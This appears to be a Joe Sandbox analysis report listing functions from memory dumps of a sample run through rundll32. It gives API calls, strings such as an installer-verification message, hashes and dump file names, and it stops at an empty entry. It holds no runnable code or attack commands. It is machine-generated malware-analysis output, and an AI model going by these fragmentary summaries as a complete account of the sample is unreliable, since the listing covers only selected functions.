String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: f609ae08b7f7f38b7e664228b7d85a8fe055d126ea073c71bd112b6ce97b5f56
Instruction ID: ee6f9097c90f13f5f440df8a05a24b2914fb9de74e79cd8d6c4d63d73b010fcd
Opcode Fuzzy Hash: f609ae08b7f7f38b7e664228b7d85a8fe055d126ea073c71bd112b6ce97b5f56
Instruction Fuzzy Hash: A701B572B416219FE7201B76EC0DB763BA9EB80B40B045015BA45E6285FFB8EC408BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BD66D Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6D4D651C,00000FA0,?,?,6D4BD64B), ref: 6D4BD679
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,6D4BD64B), ref: 6D4BD684
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,6D4BD64B), ref: 6D4BD695
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 6D4BD6A7
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 6D4BD6B5
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,6D4BD64B), ref: 6D4BD6D8
DeleteCriticalSection.KERNEL32(6D4D651C,00000007,?,?,6D4BD64B), ref: 6D4BD6F4
CloseHandle.KERNEL32(00000000,?,?,6D4BD64B), ref: 6D4BD704

Strings

SleepConditionVariableCS, xrefs: 6D4BD6A1
api-ms-win-core-synch-l1-2-0.dll, xrefs: 6D4BD67F
WakeAllConditionVariable, xrefs: 6D4BD6AD
kernel32.dll, xrefs: 6D4BD690

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: c04154bc257b702169efdae974aa122a5d3b73a098d12fe75a8ef42fb185797f
Instruction ID: 53dbaa1674ad9394cab535870a2214bd6af6ea7102df7a01d05bad24d269b39c
Opcode Fuzzy Hash: c04154bc257b702169efdae974aa122a5d3b73a098d12fe75a8ef42fb185797f
Instruction Fuzzy Hash: 2D018475A006966FDF123BB4AC6CF7B37B8AB96751B140051FD0AD2645DB38CC408AB0

Uniqueness

Uniqueness Score: -1.00%

Function 046AAD50 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 155COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 046AAD6E
std::_Lockit::_Lockit.LIBCPMT ref: 046AAD89
std::_Lockit::~_Lockit.LIBCPMT ref: 046AADA9
std::_Lockit::~_Lockit.LIBCPMT ref: 046AADFF
std::_Facet_Register.LIBCPMT ref: 046AAF08
std::_Lockit::~_Lockit.LIBCPMT ref: 046AAF20
Concurrency::cancel_current_task.LIBCPMT ref: 046AAF2E
Concurrency::cancel_current_task.LIBCPMT ref: 046AAF33
Concurrency::cancel_current_task.LIBCPMT ref: 046AAF38

Strings

false, xrefs: 046AAEB1
true, xrefs: 046AAED7

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::~_$Lockit::_$Facet_Register
String ID: false$true
API String ID: 1941589060-2658103896
Opcode ID: 7e095d5c757219248f474ca0c8d92a50520dd5d9f306bd9b506e5f18772fb5c7
Instruction ID: 776e5352ef50f6b52797392a3742b790dba0ffac3effa41fe448dd2f55cd7487
Opcode Fuzzy Hash: 7e095d5c757219248f474ca0c8d92a50520dd5d9f306bd9b506e5f18772fb5c7
Instruction Fuzzy Hash: 61518D70A006048BDB28EFA8D580BAAB7E0EF10704F14445ED9859B340F776FD85CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 046A2964 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 129memorystringCOMMON

Download Yara Rule

APIs

GetShortPathNameW.KERNEL32(00000000,047011F0,00000400), ref: 046A29A8
GetShortPathNameW.KERNEL32(00000000,047009F0,00000400), ref: 046A29C2
wsprintfA.USER32 ref: 046A29E4
GetFileSize.KERNEL32(00000000,00000000,00000004), ref: 046A2A2E

Part of subcall function 046A26F0: lstrlenA.KERNEL32([Rename],00000000,00000000,00000000,00000000,?,046A2A64,00000000), ref: 046A2706
Part of subcall function 046A26F0: lstrlenA.KERNEL32(00000000,?,046A2A64,00000000), ref: 046A270B
Part of subcall function 046A26F0: lstrlenA.KERNEL32(00000000,?,046A2A64,00000000), ref: 046A2741

GlobalAlloc.KERNEL32(00000040,0000000A), ref: 046A2A3E
lstrcpyA.KERNEL32(00000000,[Rename],00000000), ref: 046A2A71
GlobalFree.KERNEL32(00000000), ref: 046A2AA3

Part of subcall function 046A2797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 046A27BB
Part of subcall function 046A2797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 046A27D4
Part of subcall function 046A2797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 046A27EC
Part of subcall function 046A2797: lstrcmpW.KERNEL32(003A0043,?), ref: 046A27F8

Part of subcall function 046A219D: CloseHandle.KERNEL32(00000000,046A29A1,00000001,00000000,00000000,?,00000001,046A2AFD), ref: 046A21B4

Strings

[Rename], xrefs: 046A2A58, 046A2A68
%ls=%ls, xrefs: 046A29DA

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: File$Namelstrlen$GlobalPathShort$AllocAttributesCloseCreateFreeHandleModuleSizelstrcmplstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 3231248955-461813615
Opcode ID: 7fb56e82fdebddf6e5ab08604f0648f560b235e33a4f759b2f1f82fcab1dd2ba
Instruction ID: 338fa60373d6d6a4b65e10048704f1e835e8e65a917a939e560e1ecceae028da
Opcode Fuzzy Hash: 7fb56e82fdebddf6e5ab08604f0648f560b235e33a4f759b2f1f82fcab1dd2ba
Instruction Fuzzy Hash: 00316E35381A0197E728AA298C74F7B768BDF80714B1441ADEB05D7386FE64FC218E98

Uniqueness

Uniqueness Score: -1.00%

Function 046ABDB0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 046ABE1A
std::_Lockit::_Lockit.LIBCPMT ref: 046ABE37
std::_Lockit::~_Lockit.LIBCPMT ref: 046ABE58
std::_Facet_Register.LIBCPMT ref: 046ABF09
std::_Lockit::~_Lockit.LIBCPMT ref: 046ABF21

Strings

ios_base::badbit set, xrefs: 046AC018
ios_base::eofbit set, xrefs: 046AC026
ios_base::failbit set, xrefs: 046AC021, 046AC03D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 459529453-1866435925
Opcode ID: 807f9a7aebfcc15755ea5d525ae312e60e80134e4add00ba22bfb00823c2c74c
Instruction ID: 8a36f0844ddd44862c4960c1f4525b50efbda916ad07454d0f0742bb5f3095d4
Opcode Fuzzy Hash: 807f9a7aebfcc15755ea5d525ae312e60e80134e4add00ba22bfb00823c2c74c
Instruction Fuzzy Hash: D2816771A006049FDB04DFA8D884AA9B7F5FF98714F188059EA06AB351EB31FD51CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 046C16D6 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,?,?,046BB0A0), ref: 046C16EF

Strings

log, xrefs: 046C174C, 046C175B
pow, xrefs: 046C178D, 046C1837, 046C1884
exp, xrefs: 046C176E, 046C17D3
acos, xrefs: 046C1825
sqrt, xrefs: 046C182E
asin, xrefs: 046C181C
log10, xrefs: 046C1731, 046C1740

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 55ca6d241f2a462c8e12e846b17195531eec181083b1f51e6c796e215e833e20
Instruction ID: eef87609a5421e6248ee5e3f1e2d7ea591461b9f75328a2b7820ac38fb32c4cb
Opcode Fuzzy Hash: 55ca6d241f2a462c8e12e846b17195531eec181083b1f51e6c796e215e833e20
Instruction Fuzzy Hash: ED51AC70E0460ACBDB149F69E8481FEBBB0FF46300F444149D881A7356FB34A566CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 046B7AD2 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 046B7BF1
___TypeMatch.LIBVCRUNTIME ref: 046B7CFF
_UnwindNestedFrames.LIBCMT ref: 046B7E51
CallUnexpected.LIBVCRUNTIME ref: 046B7E6C

Strings

csm, xrefs: 046B7B7C
csm, xrefs: 046B7C28
csm, xrefs: 046B7B0F

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 81877a37e94ab0e382d005244f1d974ebc04595f3fe23253e9937b59e2349d08
Instruction ID: 436fa08c38470343505fa0f685e7f24731b1057cdc53d17b9d18a9b76fba2d3f
Opcode Fuzzy Hash: 81877a37e94ab0e382d005244f1d974ebc04595f3fe23253e9937b59e2349d08
Instruction Fuzzy Hash: 94B19871800209EFDF19DFA4C8809EEB7B5FF94316B04446AE8916B211E730FA92CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 046B3E12 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 046B3E5B
__alloca_probe_16.LIBCMT ref: 046B3E87
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 046B3EC6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 046B3EE3
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 046B3F22
__alloca_probe_16.LIBCMT ref: 046B3F3F
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 046B3F81
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 046B3FA4

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: d69ddfaf7aa2b163f970d6c854c73f531df4fd52926810098154b58bc4a9c499
Instruction ID: 8534cb897107698f0f0e6d6dc6067e7191a1be68fe2474c5c9a4d469eb64b561
Opcode Fuzzy Hash: d69ddfaf7aa2b163f970d6c854c73f531df4fd52926810098154b58bc4a9c499
Instruction Fuzzy Hash: 38517A72700206ABEB209E64CC44FEB7BBAEB54750F14412ABD45AA390F734A8D18BD0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2C14 Relevance: 12.1, APIs: 8, Instructions: 74COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D4B2C46
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D4B2C52

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: caac57b84e0af81194c3542da7496f55fa5f8d6482160dc1be793fe26773d74c
Instruction ID: 0de3a0a1ba0d8353cd23d58761d50577a98dbc594111b7e7311cacda6bfe02be
Opcode Fuzzy Hash: caac57b84e0af81194c3542da7496f55fa5f8d6482160dc1be793fe26773d74c
Instruction Fuzzy Hash: C431623090420EEFDF219F94D889BEE7BB0BF29355F108855E901A6290CBB58E94DF71

Uniqueness

Uniqueness Score: -1.00%

Function 046A5165 Relevance: 12.1, APIs: 8, Instructions: 66COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 046A518E
GetSysColor.USER32(00000000), ref: 046A51A3
SetTextColor.GDI32(?,00000000), ref: 046A51B1
SetBkMode.GDI32(?,?), ref: 046A51BB
GetSysColor.USER32(?), ref: 046A51CE
SetBkColor.GDI32(?,?), ref: 046A51DF
DeleteObject.GDI32(?), ref: 046A51FA
CreateBrushIndirect.GDI32(?), ref: 046A5204

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 6add0e5f813a83e43d3ba652eda14ef99effc33405b3f2960a3cd29b3c2153ec
Instruction ID: ef1dcdbc2e2b82b5d39528d7830a18f953eb2607356734caca8afb0b39c42556
Opcode Fuzzy Hash: 6add0e5f813a83e43d3ba652eda14ef99effc33405b3f2960a3cd29b3c2153ec
Instruction Fuzzy Hash: EE214C70601B04ABC725DF24D858B7ABBF8FF05708B04891DE996D2680E738AD048FA0

Uniqueness

Uniqueness Score: -1.00%

Function 046B75A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 046B75D7
___except_validate_context_record.LIBVCRUNTIME ref: 046B75DF
_ValidateLocalCookies.LIBCMT ref: 046B7668
__IsNonwritableInCurrentImage.LIBCMT ref: 046B7693
_ValidateLocalCookies.LIBCMT ref: 046B76E8

Strings

csm, xrefs: 046B767D

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: f766c5e652647769902b470bd133927677d50d4b60357112fbe7ffd4095ec376
Instruction ID: f4bba6f6bc7f5ee3af640049b73e705d5398b51c9ff4aecea8cda97d587c49df
Opcode Fuzzy Hash: f766c5e652647769902b470bd133927677d50d4b60357112fbe7ffd4095ec376
Instruction Fuzzy Hash: EB419334A002089BCF10EF6DC884ADE7BA5AF95319F048169E8549B351F731FA81CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 046AAC00 Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 046AAC15
std::_Lockit::_Lockit.LIBCPMT ref: 046AAC30
std::_Lockit::~_Lockit.LIBCPMT ref: 046AAC50
std::_Lockit::~_Lockit.LIBCPMT ref: 046AACA9
__Getctype.LIBCPMT ref: 046AACFC
std::_Facet_Register.LIBCPMT ref: 046AAD24
std::_Lockit::~_Lockit.LIBCPMT ref: 046AAD3C

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeRegister
String ID:
API String ID: 2525760861-0
Opcode ID: f2806d0a061c7af0492cdfe127fecfbc23c25ae4d4f8224e0f03d64dbe336e87
Instruction ID: 2d49250755c7ad86887cf8de0ffee005e4e01992d9a8e2732543dd09c430a922
Opcode Fuzzy Hash: f2806d0a061c7af0492cdfe127fecfbc23c25ae4d4f8224e0f03d64dbe336e87
Instruction Fuzzy Hash: 0241B171A00A288BEB25DF98D480AA9B7A4EF50714F14445ADC46AB301F771FD95CFD0

Uniqueness

Uniqueness Score: -1.00%

Function 046A64EE Relevance: 10.6, APIs: 7, Instructions: 80stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(04706278,?,?,00000000,?), ref: 046A6523
lstrlenW.KERNEL32(?), ref: 046A6532
lstrcatW.KERNEL32(04706278,?), ref: 046A654E
SetWindowTextW.USER32(04706278), ref: 046A6567
SendMessageW.USER32 ref: 046A658E
SendMessageW.USER32(00000000,0000104D,00000000,?), ref: 046A65A9
SendMessageW.USER32(00000000,00001013,?,00000000), ref: 046A65B6

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: ede4edf067d0ef73ebb7b248c879488502d8a61290f8cd3c25f9d535e76b501f
Instruction ID: 23fe34c2f03d17b3750e16eed18168a388d5abda8436e7f9aca2a8567d5dd0af
Opcode Fuzzy Hash: ede4edf067d0ef73ebb7b248c879488502d8a61290f8cd3c25f9d535e76b501f
Instruction Fuzzy Hash: 612125B1901710EFD3109F18C848EA77BEDEF94354F084929FA85D33C5EA68ED504BA5

Uniqueness

Uniqueness Score: -1.00%

Function 046C2824 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,046C2931,?,?,046B2FDB,00000000,?,?,046C2ADF,00000021,FlsSetValue,046D3AE8,046D3AF0,046B2FDB), ref: 046C28E5

Strings

ext-ms-, xrefs: 046C288F
api-ms-, xrefs: 046C287B

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: dc85e5095670a655804abe3f04fc470a5396a91009170a312be019973bb35fd5
Instruction ID: 9df5ef16ec19ee8925a728d540615ba16b272cf7f37e0930858eb0e50aa41efd
Opcode Fuzzy Hash: dc85e5095670a655804abe3f04fc470a5396a91009170a312be019973bb35fd5
Instruction Fuzzy Hash: 1B212736E02211ABD7219A60DC60ABB3798EF517A0F141169ED02A73C0FB74FD09C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B2D0A Relevance: 10.6, APIs: 7, Instructions: 61COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(6D4BAD2D), ref: 6D4B2D3C
_invalid_parameter_noinfo.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D4B2D48

Memory Dump Source

Source File: 00000006.00000002.1534852937.000000006D4A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6D4A0000, based on PE: true

Associated: 00000006.00000002.1534825546.000000006D4A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534887849.000000006D4D1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534915927.000000006D4D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1534943155.000000006D4D7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6d4a0000_rundll32.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo
String ID:
API String ID: 2959964966-0
Opcode ID: 15afc3ebb3b0358d4008c55c10a34d5ef7a115d94b338ddce7ca84eaf1b27ba9
Instruction ID: a104812a9f21fe18981faa69a89350a5c86aa74bd12879b847c2072f5e5e0ff2
Opcode Fuzzy Hash: 15afc3ebb3b0358d4008c55c10a34d5ef7a115d94b338ddce7ca84eaf1b27ba9
Instruction Fuzzy Hash: D621813091524EEFEF21AF94C889BDE7BB4BB19315F108455E91196280CBB98EC0DF71

Uniqueness

Uniqueness Score: -1.00%

Function 046A5C51 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 046A5C6E
GetMessagePos.USER32 ref: 046A5C74
ScreenToClient.USER32(?,?), ref: 046A5C8C
SendMessageW.USER32(?,00001111,00000000,?), ref: 046A5C9E
SendMessageW.USER32(?,0000113E,00000000,?), ref: 046A5CC4

Strings

f, xrefs: 046A5CA0

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 455ecad826a60d86054226e6a95f37e57160ea9643bba27627f2ef26d7a6f67e
Instruction ID: a6808546b3019f901ff004d67b30ec2b3fbb1ea0f1fc8955bf2284bb99b969d9
Opcode Fuzzy Hash: 455ecad826a60d86054226e6a95f37e57160ea9643bba27627f2ef26d7a6f67e
Instruction Fuzzy Hash: 67017171A00309BBD714DBE9DC85FFEBBB9EB44710F10011AB712E62C0E7B4AD008AA5

Uniqueness

Uniqueness Score: -1.00%

Function 046A1A42 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 046A1A6C
MulDiv.KERNEL32(0081724B,00000064,0081724B), ref: 046A1A94
wsprintfW.USER32 ref: 046A1AA7
SetWindowTextW.USER32(?,?), ref: 046A1AB8
SetDlgItemTextW.USER32(?,00000406,?), ref: 046A1ACB

Strings

verifying installer: %d%%, xrefs: 046A1AA1

Memory Dump Source

Source File: 00000006.00000002.1532379164.00000000046A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 046A0000, based on PE: true

Associated: 00000006.00000002.1532379164.0000000004701000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.0000000004708000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1532379164.000000000470C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_46a0000_rundll32.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 9e68e3d83585910108b0f941024a4beb9cb428d6b2ff16d615c3fda071a060bd
Instruction ID: 57b995ef4cd89e390169ffe7dc5fe0c20ec8f4420b656ba9303cbaf18311d6ac
Opcode Fuzzy Hash: 9e68e3d83585910108b0f941024a4beb9cb428d6b2ff16d615c3fda071a060bd
Instruction Fuzzy Hash: 7C016D71500218BBDB18DF21DC09FEA33A9EB09705F008115FA06E61C0EBB86E54CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 046B7764 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,046B775B,046B5E8D,046B4DA3), ref: 046B7772
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 046B7780
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 046B7799
SetLastError.KERNEL32(00000000,046B775B,046B5E8D,046B4DA3), ref: 046B77EB

Memory Dump Source

